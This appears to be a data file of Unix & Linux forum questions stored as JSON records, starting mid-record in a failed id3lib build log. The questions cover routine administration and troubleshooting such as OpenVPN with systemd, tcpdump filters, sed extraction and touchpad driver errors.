-DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c zutil.c -MT zutil.lo -MD -MP -MF .deps/zutil.TPlo -fPIC -DPIC -o .libs/zutil.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c zutil.c -MT zutil.lo -MD -MP -MF .deps/zutil.TPlo -o zutil.o >/dev/null 2>&1 mv -f .libs/zutil.lo zutil.lo /bin/bash ../libtool --mode=link gcc -g -O2 -o libz.la -rpath /usr/local/lib -version-info 1:0:0 adler32.lo compress.lo crc32.lo deflate.lo gzio.lo infblock.lo infcodes.lo inffast.lo inflate.lo inftrees.lo infutil.lo trees.lo uncompr.lo zutil.lo rm -fr .libs/libz.la .libs/libz.* .libs/libz.* gcc -shared adler32.lo compress.lo crc32.lo deflate.lo gzio.lo infblock.lo infcodes.lo inffast.lo inflate.lo inftrees.lo infutil.lo trees.lo uncompr.lo zutil.lo -Wl,-soname -Wl,libz.so.1 -o .libs/libz.so.1.0.0 (cd .libs && rm -f libz.so.1 && ln -s libz.so.1.0.0 libz.so.1) (cd .libs && rm -f libz.so && ln -s libz.so.1.0.0 libz.so) ar cru .libs/libz.a adler32.o compress.o crc32.o deflate.o gzio.o infblock.o infcodes.o inffast.o inflate.o inftrees.o infutil.o trees.o uncompr.o zutil.o ranlib .libs/libz.a creating libz.la (cd .libs && rm -f libz.la && ln -s ../libz.la libz.la) make[4]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/zlib/src' Making all in lib make[4]: Entering directory `/home/gts/downloads/id3lib-3.8.3/zlib/lib' make[4]: Nothing to be done for `all'. make[4]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/zlib/lib' Making all in prj make[4]: Entering directory `/home/gts/downloads/id3lib-3.8.3/zlib/prj' make[4]: Nothing to be done for `all'. make[4]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/zlib/prj' make[3]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/zlib' make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/zlib' Making all in doc make[2]: Entering directory `/home/gts/downloads/id3lib-3.8.3/doc' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/doc' Making all in include make[2]: Entering directory `/home/gts/downloads/id3lib-3.8.3/include' Making all in id3 make[3]: Entering directory `/home/gts/downloads/id3lib-3.8.3/include/id3' make[3]: Nothing to be done for `all'. make[3]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/include/id3' make[3]: Entering directory `/home/gts/downloads/id3lib-3.8.3/include' make[3]: Nothing to be done for `all-am'. make[3]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/include' make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/include' Making all in id3com make[2]: Entering directory `/home/gts/downloads/id3lib-3.8.3/id3com' Making all in Sample make[3]: Entering directory `/home/gts/downloads/id3lib-3.8.3/id3com/Sample' make[3]: Nothing to be done for `all'. make[3]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/id3com/Sample' make[3]: Entering directory `/home/gts/downloads/id3lib-3.8.3/id3com' make[3]: Nothing to be done for `all-am'. make[3]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/id3com' make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/id3com' Making all in src make[2]: Entering directory `/home/gts/downloads/id3lib-3.8.3/src' source='c_wrapper.cpp' object='c_wrapper.lo' libtool=yes \\ depfile='.deps/c_wrapper.Plo' tmpdepfile='.deps/c_wrapper.TPlo' \\ depmode=gcc3 /bin/bash ../depcomp \\ /bin/bash ../libtool --mode=compile g++ -DHAVE_CONFIG_H -I. -I. -I.. -I../include/id3 -I../include -I../zlib/include -g -O2 -Wall -Wno-unused -Wno-inline -Woverloaded-virtual -Wmissing-declarations -c -o c_wrapper.lo `test -f 'c_wrapper.cpp' || echo './'`c_wrapper.cpp mkdir .libs g++ -DHAVE_CONFIG_H -I. -I. -I.. -I../include/id3 -I../include -I../zlib/include -g -O2 -Wall -Wno-unused -Wno-inline -Woverloaded-virtual -Wmissing-declarations -c c_wrapper.cpp -MT c_wrapper.lo -MD -MP -MF .deps/c_wrapper.TPlo -fPIC -DPIC -o .libs/c_wrapper.lo In file included from ../include/id3/utils.h:37:0, from ../include/id3/tag.h:34, from c_wrapper.cpp:30: ../include/id3/id3lib_strings.h: In static member function 'static std::char_traits::char_type* std::char_traits::move(std::char_traits::char_type*, const char_type*, std::size_t)': ../include/id3/id3lib_strings.h:87:72: error: 'memmove' was not declared in this scope ../include/id3/id3lib_strings.h: In static member function 'static std::char_traits::char_type* std::char_traits::copy(std::char_traits::char_type*, const char_type*, std::size_t)': ../include/id3/id3lib_strings.h:91:71: error: 'memcpy' was not declared in this scope c_wrapper.cpp: In function 'void ID3TagIterator_Delete(ID3TagIterator*)': c_wrapper.cpp:350:7: warning: deleting object of abstract class type 'ID3_Tag::Iterator' which has non-virtual destructor will cause undefined behaviour [-Wdelete-non-virtual-dtor] c_wrapper.cpp: In function 'void ID3TagConstIterator_Delete(ID3TagConstIterator*)': c_wrapper.cpp:370:7: warning: deleting object of abstract class type 'ID3_Tag::ConstIterator' which has non-virtual destructor will cause undefined behaviour [-Wdelete-non-virtual-dtor] make[2]: *** [c_wrapper.lo] Error 1 make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/gts/downloads/id3lib-3.8.3' make: *** [all] Error 2"} {"_id": "35059", "title": "script for logging all the stats for a particular process", "text": "I want to monitor CPU usage, disk read/write usage for a particular process, say `./myprocess`. To monitor CPU `top` command seems to be a nice option and for read and write `iotop` seems to be a handy one. For example to monitor read/write for every second i use the command `iotop -tbod1 | grep \"myprocess\"`. My difficulty is I just want only three variables to store, namely read/sec, write/sec, cpu usage/sec. Could you help me with a script that combines the outputs the above said three variables from `top` and `iotop` to be stored into a log file? Thanks!"} {"_id": "145576", "title": "Unable to access website hosted on virtual machine", "text": "I'm on a mac (osx 10.9.3) running CentOS7 in virtualbox. I would like to access the website hosted on the virtual machine. Browsing to the Guest IP returns webpage not available. I'm able to `ping` and `ssh` to the VM. I've set bridged adapter for the network settings in the VM. I've given `/etc/httpd/conf/httpd.conf` Listen 80 and host IP address. `telnet` and `curl` to Guest IP returns connection refused. I'm guessing it's a firewall / iptables configuration problem where I need to allow the host. How do I configure CentOS firewall / iptables to allow host?"} {"_id": "35053", "title": "how to troubleshoot a network adapter on an AIX 4.3.3 machine", "text": "I'm trying to brush up my skills on AIX. I have an ancient RS/6000 43P-133 which I'm trying to resurrect before investing in anything more sophisticated. I used to do automation and scripting on AIX systems, but very little administration. The onboard PCI network adapter does not work. It may be dead, not sure. The diagnostics screens (SMS) reports \"ok\" for the adapter. On startup, the error: if_en: ns_alloc(en0) failed with errno = 19 is produced * lsdev shows ent0 as \"Defined\" * errpt shows adapter errors * errpt -j shows KENT_EEPROM_ERR for ent0 * en0 and et0 seem to be defined * /dev/ent0 /dev/en0 and /dev/et0 do not exist (Am I just too Linux?) * alog -o -t boot shows: . attempting to configure device 'ent0' Time: 16 LEDS: 0x742 invoking /usr/lib/methods/cfgkent -2 -l ent0 Number of running methods: 1 ------------- Completed method for: ent0, Elapsed time = 0 return code = 40 *************** no stdout *************** *************** no stderr *************** Method error (/usr/lib/methods/cfgkent -2 -l ent0 ): 0514-040 Error initializing a device into the kernel. When I try to bring up the interface using smitty communications en0 aix inet0 changed Method error (/usr/lib/methods/chgif): 0514-068 Cause not known. 0821-510 ifconfig: error calling entry point for /usr/lib/drivers/if_en: The specified device does not exist. 0821-223 chgif: Cannot get records from CuAt. ... Are there any other tools or utilities which might provide insight as to where the problem might be? Is there something missing in my troubleshooting? The primary objective here is to learn more about AIX, so even if you don't know the answer, tips on troubleshooting would be much appreciated. * * * Some more outputs: # lscfg -vpl ent0 DEVICE LOCATION DESCRIPTION ent0 04-D0 IBM PCI Ethernet Adapter (22100020) # lslpp -L | grep 22100020 devices.pci.22100020.diag 4.3.3.0 C PCI Ethernet Adapter Diagnostics devices.pci.22100020.rte 4.3.3.0 C IBM PCI Ethernet Adapter"} {"_id": "92836", "title": "Recover rc.conf in FreeBSD", "text": "I'm using FreeBSD 9.1 and I accidentally deleted the file `/etc/rc.conf`. How can I recover it?"} {"_id": "148998", "title": "Extract certain column from CSV files", "text": "I have a directory with a group of CSV files. All files have the same column headers. I need to extract values in a certain column from all files. The common part in files names is `OCS_mobfwref-oam_d01_2014080*`"} {"_id": "148997", "title": "How to make netcat print colourful text?", "text": "on my Mac I have an peripheral that sends text data to `localhost:2332`. Some of them are coloured, like this: `\"\\e[1;31mRed text here\\e[m normal text here\"`, I use `nc loacal host` to monitor the data stream. However I noticed that the coloured text are not printed out properly, the output is like `[1;31mRed text here[m normal text here`. I am just wondering if there is some options I can use to make netcat parse the escape characters correctly."} {"_id": "73516", "title": "replacement inside parallel command string", "text": "I want to download multiple files and save them to the md5 sum of its name: cat list | parallel -j4 \"md5=$(wget -O - {} | tee tmpfile_{#} | md5sum | cut -d ' ' -f 1); mv tmpfile_{#} $md5\" but the problem is that bash seems to execute the wget stuff before execution of parallel replaces `{}`... so wget wants to download from `http://{}` so how can parallel replace its variables before the execution of the subcommand?"} {"_id": "148990", "title": "Using OpenVPN with systemd", "text": "Ok, so I've been searching the web for solutions to this problem with no answers seeming to work for me. Hopefully someone can help me. I'm only trying to configure the OpenVPN Client. I'm running `CrunchBang Linux 3.2.0-4-amd64 Debian 3.2.60-1+deb7u1 x86_64 GNU/Linux` and I just switched over to using `systemd`. The changeover went smooth enough but now I can't get my OpenVPN client to come up using systemd I've tried following these configuration tutorials, but nothing works. * http://fedoraproject.org/wiki/Openvpn * http://d.stavrovski.net/blog/how-to-install-and-set-up-openvpn-in-debian-7-wheezy * And looked at a bunch of other different guides. I can bring up the tunnel from the command line with `openvpn /etc/openvpn/vpn.conf`. So I know the config file is good, it was working with sysvinit just fine so I'm not surprised. I then attempt to just do a status with `systemctl status openvpn@vpn.service` resulting in: $ sudo systemctl status openvpn@vpn.service openvpn@vpn.service Loaded: error (Reason: No such file or directory) Active: inactive (dead) I realized that I need to do some setup for services. I want to be prompted for a password so I followed this guide to create an `openvpn@.service` in `/etc/systemd/system/`. But restarting the OpenVPN service still doesn't prompt for a password. $ sudo service openvpn restart [ ok ] Restarting openvpn (via systemctl): openvpn.service. In the Fedora tutorials the go through steps of creating symbolic links, but don't create any of the .service files in the walk throughs. What piece am I missing? Do I need to create an openvpn@vpn.service? If so, where exactly do I place it? I feel like it shouldn't be this difficult, but I can't seem to find any solution that works for me. I'm happy to provide any more information that's needed. Thanks in advance. Edit: -rw-r--r-- 1 root root 319 Aug 7 10:42 openvpn@.service [Unit] Description=OpenVPN connection to %i After=network.target [Service] Type=forking ExecStart=/usr/sbin/openvpn --daemon ovpn-%i --status /run/openvpn/%i.status 10 --cd /etc/openvpn --config /etc/openvpn/%i.conf ExecReload=/bin/kill -HUP $MAINPID WorkingDirectory=/etc/openvpn [Install] WantedBy=multi-user.target openvpn@.service (END) Symlink: lrwxrwxrwx 1 root root 36 Aug 7 10:47 openvpn@vpn.service -> /lib/systemd/system/openvpn@.service ** Solution! ** Everything is working now, except for being prompted for a password to connect. I'm attempted this solution. I tweaked the file from above just a bit, and added an Expect script like in the example. Working like a charm! My files are below. Modified lines from the above `/lib/systemd/system/openvpn@.service` ExecStart=/usr/sbin/openvpn --daemon ovpn-%i --status /run/openvpn/%i.status 10 --cd /etc/openvpn --management localhost 5559 --management-query-passwords --management-forget-disconnect --config /etc/openvpn/%i.conf ExecStartPost=/usr/bin/expect /lib/systemd/system/openvpn_pw.exp Expect script `/lib/systemd/system/openvpn_pw.exp`. Make sure to do the following: * `chmod +x` on the script. * Have `telnet` installed `#!/usr/bin/expect` `set pass [exec /bin/systemd-ask-password \"Please insert Private Key password: \"]` `spawn telnet 127.0.0.1 5559` `expect \"Enter Private Key Password:\"` `send \"password 'Private Key' $pass\\r\"` `expect \"SUCCESS: 'Private Key' password entered, but not yet verified\"` `send \"exit\\r\"` `expect eof` **It should be noted that the above solution does log your password entered in plaintext in the following logs in`/var/log/syslog` and `/var/log/daemon.log`**"} {"_id": "91983", "title": "How to reach only an application in QEMU emulation without X?", "text": "I run an OpenBSD guest on an OpenBSD host (Desktop) with QEMU. Because I want to run a webbrowser in a separated environment. I can reach the QEMU machine via ssh -X so I can see the webbrowser. But that's not really safe (because AFAIK X wasn't designed by security in mind). **Q:** How can I reach the webbrowser (xxxterm) from the host OpenBSD machine safely and with good performance? ps.: question is based on this"} {"_id": "91981", "title": "How to monitor average stats of CPU and memory usage of a Solaris server using scripts?", "text": "I need to monitor average CPU and memory usage for a Solaris server. How can I automate the process using scripts to monitor daily CPU and memory usage and give it as an average over a month?"} {"_id": "148285", "title": "Extract value between double quotes", "text": "My query is to extract the value between double quotes \"\". Sample input is : > 10.219.41.68 - - - [11/Jun/2014:10:23:04 -0400] Sec:0 MicSec:1797 \"GET > /balancer-manager HTTP/1.1\" 200 28980 \"-\" \"curl/7.15.5 (i386-redhat-linux- > gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5\" I have large log files, so values can be vary for each line, need to extract the value between first occurance of double quotes... expected output: GET /balancer-manager HTTP/1.1 Anyone have any idea then please suggest."} {"_id": "91984", "title": "Low-Contrast Color Scheme in xxxterm config file?", "text": "I know I can set a \"Low-Contrast Color Scheme\" with the \"s\" button in xxxterm. **Q:** but how can I set this Low-Contrast Color Scheme to be default? (in the .xxxterm.conf) So that \"s\" key doesn't need to be pressed. UPDATE: Using: userstyle_global = 1 produces this: ![enter image description here](http://i.stack.imgur.com/IZLxJ.png) in ~/.xxxterm.conf. xxxterm version: 1:1.10.0-1 (according to dpkg)"} {"_id": "91985", "title": "Bash shell scripting basic question regarding the syntax and basename", "text": "Consider the script below: myname=`basename $0`; for i in `ls -A` do if [ $i = $myname ] then echo \"Sorry i won't rename myself\" else newname=`echo $i |tr a-z A-Z` mv $i $newname fi done 1) I am aware that `basename $0` signifies my script name here. But how? the syntax explanation please. What does `$0` mean? 2) In what cases \";\" is used at the end of statement in a script? For example, the first line of script ends with ; , whereas the 8th line doesn't. Also, i found that adding/removing semi-colons at the end of some lines (for example: 1st/6th/8th lines) doesn't really have any significance and script runs fine with or without it."} {"_id": "55121", "title": "Compiling libqwplot3d on armhf", "text": "This started as an attempt to compile GNURadio on armhf (Pandaboard & Beagleboard). Thanks to the answer by Mike Larsen. I tried to compile libqwplot3d. apt-get build-dep qwtplot3d apt-get source qwtplot3d cd qwtplot3d-*/ dpkg-buildpackage And get the following result in the last step: user@lord-xm:~/qwtplot3d-0.2.7+svn191$ dpkg-buildpackage dpkg-buildpackage: export CFLAGS from dpkg-buildflags (origin: vendor): -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Wformat-security dpkg-buildpackage: export CPPFLAGS from dpkg-buildflags (origin: vendor): -D_FORTIFY_SOURCE=2 dpkg-buildpackage: export CXXFLAGS from dpkg-buildflags (origin: vendor): -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Wformat-security dpkg-buildpackage: export FFLAGS from dpkg-buildflags (origin: vendor): -g -O2 dpkg-buildpackage: export LDFLAGS from dpkg-buildflags (origin: vendor): -Wl,-Bsymbolic-functions -Wl,-z,relro dpkg-buildpackage: source package qwtplot3d dpkg-buildpackage: source version 0.2.7+svn191-5ubuntu2 dpkg-buildpackage: source changed by Scott Kitterman dpkg-buildpackage: host architecture armhf dpkg-source --before-build qwtplot3d-0.2.7+svn191 fakeroot debian/rules clean dh_testdir dh_testroot rm -f build-stamp rm -rf build dh_clean dpkg-source -b qwtplot3d-0.2.7+svn191 dpkg-source: info: using source format `3.0 (quilt)' dpkg-source: info: building qwtplot3d using existing ./qwtplot3d_0.2.7+svn191.orig.tar.gz dpkg-source: info: building qwtplot3d in qwtplot3d_0.2.7+svn191-5ubuntu2.debian.tar.gz dpkg-source: info: building qwtplot3d in qwtplot3d_0.2.7+svn191-5ubuntu2.dsc debian/rules build dh_testdir mkdir -p build/qt4 cp -Rl `ls . |grep -v build|grep -v debian` build/qt4 cd build/qt4 && qmake-qt4 qwtplot3d.pro && /usr/bin/make WARNING: doc.path is not defined: install target not created make[1]: Entering directory `/home/user/qwtplot3d-0.2.7+svn191/build/qt4' g++ -c -pipe -g -D_REENTRANT -Wall -W -fPIC -DQT_WEBKIT -DGL2PS_HAVE_ZLIB -DQT_OPENGL_LIB -DQT_GUI_LIB -DQT_CORE_LIB -DQT_SHARED -I/usr/share/qt4/mkspecs/linux-g++ -I. -I/usr/include/qt4/QtCore -I/usr/include/qt4/QtGui -I/usr/include/qt4/QtOpenGL -I/usr/include/qt4 -Iinclude -I/usr/X11R6/include -Itmp -o tmp/qwt3d_axis.o src/qwt3d_axis.cpp In file included from /usr/include/GL/glu.h:38:0, from include/qwt3d_openglhelper.h:11, from include/qwt3d_types.h:26, from include/qwt3d_drawable.h:7, from include/qwt3d_label.h:10, from include/qwt3d_axis.h:5, from src/qwt3d_axis.cpp:1: /usr/include/GL/gl.h:162:17: error: conflicting declaration \u00e2typedef double GLdouble\u00e2 /usr/include/qt4/QtOpenGL/qgl.h:85:17: error: \u00e2GLdouble\u00e2 has a previous declaration as \u00e2typedef GLfloat GLdouble\u00e2 In file included from /usr/include/GL/gl.h:2085:0, from /usr/include/GL/glu.h:38, from include/qwt3d_openglhelper.h:11, from include/qwt3d_types.h:26, from include/qwt3d_drawable.h:7, from include/qwt3d_label.h:10, from include/qwt3d_axis.h:5, from src/qwt3d_axis.cpp:1: /usr/include/GL/glext.h:5327:19: error: conflicting declaration \u00e2typedef ptrdiff_t GLintptr\u00e2 /usr/include/GLES2/gl2.h:38:26: error: \u00e2GLintptr\u00e2 has a previous declaration as \u00e2typedef khronos_intptr_t GLintptr\u00e2 /usr/include/GL/glext.h:5328:19: error: conflicting declaration \u00e2typedef ptrdiff_t GLsizeiptr\u00e2 /usr/include/GLES2/gl2.h:39:26: error: \u00e2GLsizeiptr\u00e2 has a previous declaration as \u00e2typedef khronos_ssize_t GLsizeiptr\u00e2 In file included from include/qwt3d_types.h:26:0, from include/qwt3d_drawable.h:7, from include/qwt3d_label.h:10, from include/qwt3d_axis.h:5, from src/qwt3d_axis.cpp:1: include/qwt3d_openglhelper.h: In function \u00e2bool Qwt3D::ViewPort2World(double&, double&, double&, double, double, double)\u00e2: include/qwt3d_openglhelper.h:106:97: error: cannot convert \u00e2double*\u00e2 to \u00e2GLdouble* {aka float*}\u00e2 for argument \u00e27\u00e2 to \u00e2GLint gluUnProject(GLdouble, GLdouble, GLdouble, const GLdouble*, const GLdouble*, const GLint*, GLdouble*, GLdouble*, GLdouble*)\u00e2 include/qwt3d_openglhelper.h: In function \u00e2bool Qwt3D::World2ViewPort(double&, double&, double&, double, double, double)\u00e2: include/qwt3d_openglhelper.h:122:95: error: cannot convert \u00e2double*\u00e2 to \u00e2GLdouble* {aka float*}\u00e2 for argument \u00e27\u00e2 to \u00e2GLint gluProject(GLdouble, GLdouble, GLdouble, const GLdouble*, const GLdouble*, const GLint*, GLdouble*, GLdouble*, GLdouble*)\u00e2 make[1]: *** [tmp/qwt3d_axis.o] Error 1 make[1]: Leaving directory `/home/user/qwtplot3d-0.2.7+svn191/build/qt4' make: *** [build-stamp] Error 2 dpkg-buildpackage: error: debian/rules build gave error exit status 2 user@lord-xm:~/qwtplot3d-0.2.7+svn191$ How do fix this and proceed? I am using the Ubuntu 12.04 image for OMAP"} {"_id": "91988", "title": "Accent error on OpenWrt 12.09?", "text": "[user@localhost ~] ssh -x -a root@192.168.1.1 BusyBox v1.19.4 (2013-03-14 11:28:31 UTC) built-in shell (ash) ----------------------------------------------------- ATTITUDE ADJUSTMENT (12.09, r36088) ----------------------------------------------------- root@ROUTER:~# touch '\u00e1rv\u00edzt\u0171r\u0151 t\u00fck\u00f6rf\u00far\u00f3g\u00e9p' root@ROUTER:~# ls -la drwxr-xr-x 1 root root 0 Aug 31 11:26 . drwxr-xr-x 1 root root 0 Jan 1 1970 .. drwx------ 2 root root 0 Aug 15 16:09 .ssh -rw-r--r-- 1 root root 0 Aug 31 11:26 ????rv??zt??r?? t??k??rf??r??g??p root@ROUTER:~# ls -la \u00e1\u00e1rv\u00edzt\u0171r\u0151\\ t\u00fck\u00f6rf\u00far\u00f3g\u00e9p -rw-r--r-- 1 root root 0 Aug 31 11:26 ????rv??zt??r?? t??k??rf??r??g??p root@ROUTER:~# rm \u00e1\u00e1rv\u00edzt\u0171r\u0151\\ t\u00fck\u00f6rf\u00far\u00f3g\u00e9p **Q:** Why? The accent handling was ok a few versions before.. What am I doing wrong? UPDATE: the same problem occurs if I put this in cron."} {"_id": "55123", "title": "Wi-fi management & billing", "text": "I want to setup a wifi management & billing using linux server. But I don't know where to start. Is there any guide on how to do this? For example... When user connect to my access point, it will automatically redirect to login page. They have to login before using my internet connection. Thanks in advance, xcession."} {"_id": "17404", "title": "Show only text between 2 matching pattern", "text": "I'm going to submit form using cURL, where some of the contents is come from other file, selected using `sed` If `param1` is line matching pattern from other file using `sed`, below command will works fine: curl -d param1=\"$(sed -n '/matchpattern/p' file.txt)\" -d param2=value2 http://example.com/submit Now, go to the problem. I want show only text between 2 matching pattern excluding the matching pattern itself. Lets say `file.txt` contains: Bla bla bla firstmatch It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. secondmatch The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English. Currently, lots of \"beetween 2 matching pattern\" `sed` command won't remove `firstmatch` and `secondmatch`. I want the result become: It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout."} {"_id": "55125", "title": "Alias for directory listing sorted by time modified in reverse order", "text": "When I need to find my recently used files, this command: `ls -lt` lists in ascending order (by time), when there are lots files, I need to scroll to the top to see needed files, because wont fit in terminal screen. After finding out that `tac` inverses the output, I use: `ls -lt dir/ | tac` Is there more fun way of doing it, without using external scripts/utils?"} {"_id": "55127", "title": "What does this tcpdump line means?", "text": "Reading the manpage of `tcpdump` I found this example tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0 and not src and dst net localnet' but I don't understand it, especially the last part. The `tcp[tcpflags] & (tcp-syn|tcp-fin) != 0` part filters all the packets having either the SYN or the FIN bit set. What does `not src and dst net localnet` filter? The explanation in the same manpage says > To print the start and end packets (the SYN and FIN packets) of each TCP > conversation that involves a non-local host. but in my opinion `src` is not an expression by itself."} {"_id": "129376", "title": "Add a symbol before any letter", "text": "I have a text file with each line having some defined number of fields but they can differ from line to line. All I want to do is to add \"=\" sign in front of every value in the field in that line. For example INPUT FILE A B C D E P Q R S T U L M N O OUTPUT FILE =A =B =C =D =E =P =Q =R =S =T =U =L =M =N =O Also this is just an example, my file contains some lines where number of field are more than 20. How to do this efficiently."} {"_id": "144199", "title": "Keeping Pushbullet for Chrome active with Chrome closed?", "text": "I'm using Elementary OS Luna (an Ubuntu 12.04 derivative) on an Acer C720 Chromebook with Firefox as my browser of choice. I'm a big fan of Pushbullet to mirror my Android notifications from my phone to my desktop and have found it to be my preferred method of doing so on Linux thus far, but the Chrome plugin is far superior to the Firefox one, IMO. At the present moment, I am running Chrome minimized at boot via Devilspie in order to get the Chrome Pushbullet plugin to actually run in the background, but this is an obviously ugly way of accomplishing this, as Chrome is eating RAM without actually being used for anything else. I am looking for a way to either: A) Get Pushbullet to actively run in the background and mirror notifications with Chrome closed, which I was under the impression was possible B) Run Chrome with the absolute minimum of resource consumption and/or processes, seeing as I am using it solely to power the Pushbullet extension Is there a way to do A? Is there a preferred method or set of flags/options I can use to accomplish B? Thanks."} {"_id": "118700", "title": "What is CONFIG_BASE_SMALL=0", "text": "Looking at the config file of Linux (that is generated prior to build) I found the following line: CONFIG_BASE_SMALL=0 What does it mean? If I want my linux kernel to be as small as possible shall I keep it 0?"} {"_id": "90922", "title": "Error with g++47 make compilation?", "text": "> ~/cddir>ls > > hw1 machine.cpp main.o makefile~ report2.txt user.cpp > > hw11submit.sh machine.h makefile report1.txt report2.txt~ user.h > > hw12submit.sh main.cpp #makefile# report1.txt~ soda.x > > ~/cddir>make > > make: _*_ No rule to make target `g++47', needed by`machine.o'. Stop. All of my files are there and they ran perfectly before. Now I re-log in and get this error. A day yesterday on Google didn't help, but maybe I am looking in the wrong place. Makefile: soda.x: main.o machine.o user.o g++47 -osoda.x main.o machine.o user.o user.o: user.h user.cpp \\ g++47 -c -Wall -Wextra -I. user.cpp machine.o: machine.h machine.cpp \\ g++47 -c -Wall -Wextra -I. machine.cpp \\ main.o: main.cpp g++47 -c -Wall -Wextra -I. main.cpp E-macs env."} {"_id": "118707", "title": "What is the name of the formatting output from man?", "text": "Output from man command have bold and underline text that is recoginzed by less like `H\\x08HE\\x08EL\\x08LL\\x08LO\\x08O` display **HELLO** or `H\\x08_E\\x08_L\\x08_L\\x08_O\\x08_` as underline HELLO what is the name of this formatting?"} {"_id": "55233", "title": "Get the newest file from directory structure year/month/date/time", "text": "I store backups of databases in a directory structure `year/month/day/time/backup_name` an example would be basics_mini/2012/11/05/012232/RATIONAL.0.db2inst1.NODE0000.20110505004037.001 basics_mini/2012/11/06/012251/RATIONAL.0.db2inst1.NODE0000.20110505003930.001 note that timestamp from the backup file cannot be used. Before the automation testing starts the server time is set to 5.5.2011 So the question is how I can get the latest file if I pass the \"base directory\" ( **basics_mini** ) to some function that I am going to code. I need to restore the newest database. I do that in php but I wonder if there is a simple shell scripting solution."} {"_id": "144196", "title": "psmouse sync issues!", "text": "I have Compaq CQ61-420US (64-bit AMD) laptop with Synaptics touchpad checked using $ egrep -i 'synap' /proc/bus/input/devices N: Name=\"SynPS/2 Synaptics TouchPad\" But recently after _Arch Linux 3.15-1 stock kernel_ , I have a lot of these messages in my dmesg accompanied with **mouse freezes** : [ 7.064589] psmouse serio1: synaptics: Touchpad model: 1, fw: 6.5, id: 0x1c0b1, caps: 0xa04751/0xa00000/0x0, board id: 3655, fw id: 428212 [11981.973831] psmouse serio1: TouchPad at isa0060/serio1/input0 lost sync at byte 1 [11981.975792] psmouse serio1: TouchPad at isa0060/serio1/input0 lost sync at byte 1 [11981.977503] psmouse serio1: TouchPad at isa0060/serio1/input0 lost sync at byte 1 [11981.986308] psmouse serio1: TouchPad at isa0060/serio1/input0 lost sync at byte 1 [11981.988072] psmouse serio1: TouchPad at isa0060/serio1/input0 lost sync at byte 1 [11981.988084] psmouse serio1: issuing reconnect request And after I remove and reinstall psmouse through modprobe as mentioned here on the Arch Linux Wiki # modprobe -r psmouse ; modprobe psmouse I get in dmesg: [12012.349197] psmouse serio1: synaptics: Touchpad model: 1, fw: 6.5, id: 0x1c0b1, caps: 0xa04751/0xa00000/0x0, board id: 3655, fw id: 428212` Even though the mouse starts working, but even a short amount of inactivity it gets disabled, and I have this every now and then... sad Also I downgraded synaptics & evdev to previous versions as of now. I also tried using: # modprobe -r psmouse # modprobe psmouse proto=imps # sudo modprobe psmouse proto=bare but none of them work! I also tried changing the CPU governor to USERSPACE which was originally PERFORMANCE, no luck even then. P.S: I also posted my problem on ArchLinux Forums."} {"_id": "144194", "title": "elif [ \"$input\" = \"no\" ]; then go the next statement", "text": "#!/bin/bash input=\"\" echo \"Does a wall needs to be sent?\" read input if [ \"$input\" = \"yes\" ]; then echo \"Sending message to all user about a system reboot or shutdown\"|wall elif [ \"$input\" = \"no\" ]; then exit fi echo \"Is this a reboot or shutdown?\" read input if [ \"$input\" = \"reboot\" ]; then echo \"System is rebooting\" shutdown -r +1 elif [ \"$input\" = \"shutdown\" ]; then echo \"System is about to shutdown\" shutdown -h +1 fi echo \"Goodbye\" what I'm trying to figure out is that if I dont send a wall than I want to get prompt the statement echo \"Is this a reboot or shutdown?\" how would I go about doing than instead of having the script exit when i dont want to send a wall"} {"_id": "126347", "title": "Can only initialize Ad-hoc mode after restarting iwlwifi mod and network manager", "text": "I am running Ubuntu 12.04.4 with network interface: *-network description: Wireless interface product: Centrino Advanced-N 6235 vendor: Intel Corporation physical id: 0 bus info: pci@0000:01:00.0 logical name: wlan0 version: 24 serial: c8:f7:33:8f:d3:9c width: 64 bits clock: 33MHz capabilities: pm msi pciexpress bus_master cap_list ethernet physical wireless configuration: broadcast=yes driver=iwlwifi driverversion=3.5.0-48-generic firmware=18.168.6.1 ip=145.94.189.12 latency=0 link=yes multicast=yes wireless=IEEE 802.11abgn resources: irq:43 memory:d0400000-d0401fff I have been trying to set up an Ad-hoc network on my laptop for some time now. I have already established that it works pretty much always at home, but not at work (I figure because there are more networks here). Today I figured I'd replace the existing driver with one from the manufacturer website, even though they seemed to be exactly the same. (`iwlwifi-6000g2b-6.ucode`, version 18.168.6.1) Unfortunately I didn't back up the old one. With the 'new' driver I was suddenly able to set up a Ad-hoc network again, using either NetworkManager (0.9.4.0-0ubuntu3): * ipv6 ignore * 2.4 GHz (default) * ipv4 manual * WEP 40/128 bit key (Hex or ASCII) * MTU automatic or commandline with `iwconfig` commands (With NetworkManager shutdown). iwconfig wlan0 key 1234567890 iwconfig wlan0 mode ad-hoc iwconfig wlan0 essid MyAdhoc ifconfig wlan0 192.168.1.1 netmask 255.255.255.0 But here's the kicker, it fails to work after the NetworkManager establishes another connection (Infrastructure, WPA2). When it fails using the NetworkManager these lines repeatedly show up in `/var/log/kern.log`: Apr 23 11:01:57 *** kernel: [ 2424.593393] iwlwifi 0000:01:00.0: L1 Enabled; Disabling L0S Apr 23 11:01:57 *** kernel: [ 2424.600237] iwlwifi 0000:01:00.0: Radio type=0x2-0x1-0x0 Apr 23 11:01:57 *** kernel: [ 2424.720967] IPv6: 